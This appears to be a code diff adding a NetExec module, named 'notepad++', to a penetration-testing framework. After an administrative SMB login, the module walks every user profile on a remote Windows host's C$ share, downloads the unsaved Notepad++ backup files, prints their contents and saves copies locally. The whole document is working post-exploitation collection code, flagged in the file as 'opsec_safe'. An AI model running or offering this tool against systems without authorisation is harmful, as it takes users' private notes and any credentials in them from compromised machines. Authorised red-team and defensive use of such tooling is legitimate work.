|
| 1 | +from io import BytesIO |
| 2 | +from os import makedirs |
| 3 | +from os.path import join, abspath |
| 4 | +from nxc.paths import NXC_PATH |
| 5 | + |
| 6 | + |
| 7 | +class NXCModule: |
| 8 | + # Finds notepad++ unsaved backup files |
| 9 | + # Module by @Defte_ |
| 10 | + |
| 11 | + name = "notepad++" |
| 12 | + description = "Extracts notepad++ unsaved files." |
| 13 | + supported_protocols = ["smb"] |
| 14 | + opsec_safe = True |
| 15 | + multiple_hosts = True |
| 16 | + false_positive = [".", "..", "desktop.ini", "Public", "Default", "Default User", "All Users", ".NET v4.5", ".NET v4.5 Classic"] |
| 17 | + |
| 18 | + def options(self, context, module_options): |
| 19 | + """""" |
| 20 | + |
| 21 | + def on_admin_login(self, context, connection): |
| 22 | + found = 0 |
| 23 | + for directory in connection.conn.listPath("C$", "Users\\*"): |
| 24 | + if directory.get_longname() not in self.false_positive and directory.is_directory(): |
| 25 | + try: |
| 26 | + notepad_backup_dir = f"Users\\{directory.get_longname()}\\AppData\\Roaming\\Notepad++\\backup\\" |
| 27 | + for file in connection.conn.listPath("C$", f"{notepad_backup_dir}\\*"): |
| 28 | + file_path = f"{notepad_backup_dir}{file.get_longname()}" |
| 29 | + if file.get_longname() not in self.false_positive: |
| 30 | + found += 1 |
| 31 | + file_path = f"{notepad_backup_dir}{file.get_longname()}" |
| 32 | + buf = BytesIO() |
| 33 | + connection.conn.getFile("C$", file_path, buf.write) |
| 34 | + buf.seek(0) |
| 35 | + file_content = buf.read().decode("utf-8", errors="ignore").lower() |
| 36 | + context.log.highlight(f"C:\\{file_path}") |
| 37 | + for line in file_content.splitlines(): |
| 38 | + context.log.highlight(f"\t{line}") |
| 39 | + filename = f"{connection.host}_{directory.get_longname()}_notepad_backup_{found}.txt" |
| 40 | + export_path = join(NXC_PATH, "modules", "notepad++") |
| 41 | + path = abspath(join(export_path, filename)) |
| 42 | + makedirs(export_path, exist_ok=True) |
| 43 | + try: |
| 44 | + with open(path, "w+") as file: |
| 45 | + file.write(file_content) |
| 46 | + context.log.highlight(f"Notepad++ backup written to: {path}") |
| 47 | + except Exception as e: |
| 48 | + context.log.fail(f"Failed to write Notepad++ backup to {filename}: {e}") |
| 49 | + except Exception: |
| 50 | + pass |
0 commit comments